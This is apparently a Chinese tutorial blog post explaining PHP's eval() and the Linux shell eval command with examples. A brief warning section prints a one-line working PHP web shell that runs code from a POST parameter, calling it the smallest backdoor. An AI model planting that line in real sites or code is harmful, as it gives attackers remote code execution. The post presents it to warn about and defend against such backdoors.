eval(str) 函数把str字符串按照 PHP 代码来计算。

该str字符串必须是合法的 PHP 代码,且必须以分号";"结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

 

语法

eval(phpcode)

参数 phpcode    必需。规定要计算的 PHP 代码。

 

提示和注释

返回语句会立即终止对字符串的计算。

该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。

 

示例

<?php
$str1 = "hello";
$str2 = "mimvp.com";

$str = 'I love $str1 $str2';		// 单引号,纯字符串
echo $str. "<br />";				// I love $str1 $str2

eval("\$str = \"$str\";");		// eval,执行PHP字符串,赋值字符串
echo $str. "<br />";				// I love hello mimvp.com

$str = '2*(3+12)';
$result = eval("return $str;");	// eval,执行PHP字符串,返回计算结果
echo $result. "<br />";			// 30

$a = 3;
$b = 12;
$str = '2*($a+$b)';
$result = eval ( "return $str;" );
echo $result. "<br />";			// 30
?> 

 

另一面

eval() 函数主要执行PHP语句,因此也可以执行破坏性的行为

例如:在项目里防止后门木马,切换系统的运行环境、数据库、文件、密码等

 

世界上最小的后门木马程序:

<?php @eval($_POST["cmd"]);?>

代码分析以及木马防范,请参见米扑博客:

PHP 后门程序WebShell 分析和解决

 

 

Shell eval 用法

Linux Shell 脚本里,也有 eval 用法

eval  [parameters]

功能说明:告知shell取出eval的参数,重新运算求出参数的内容

语  法:eval [参数]

补充说明:eval可读取一连串的参数,然后再依参数本身的特性来执行。

参  数:参数不限数目,彼此之间用分号分开。

 

1、执行命令行之前扫描它两次,再次运算求出参数的内容

[root@localhost blue]# a="ls | more"
[root@localhost blue]# $a                                           #ls

将 | 和 more 看成了参数,而不是将文件按页显示

ls: cannot access |more: No such file or directory
[root@localhost blue]# eval $a                                    #取出

 

其参数并再次执行它们

1
1.cpp
2
2.cpp
3
3.cpp
[root@localhost test]# a="123"
[root@localhost test]# echo '${'"a"'}'                         
${a}
[root@localhost test]# eval echo '${'"a"'}'                #再次执行${a}命令
123 

 

2、eval取得最后一个参数

[root@localhost blue]# echo 'eval echo \$$#' > last
[root@localhost blue]# cat last
eval echo \$$#
[root@localhost blue]# ./last 1 2 3 4
4

 

另外其他高级用法后作补充!

eval是对Bash Shell命令行处理规则的灵活应用,进而构造"智能"命令实现复杂的功能。

上面提及的命令是eval其中一个很普通的应用,它重复了1次命令行参数传递过程,纯粹地执行命令的命令。

其实,它是bash的难点,是高级bash程序员的必修之技。

 

 

参考推荐

PHP 后门程序WebShell分析和解决

WebShell 木马被黑网站的解决方案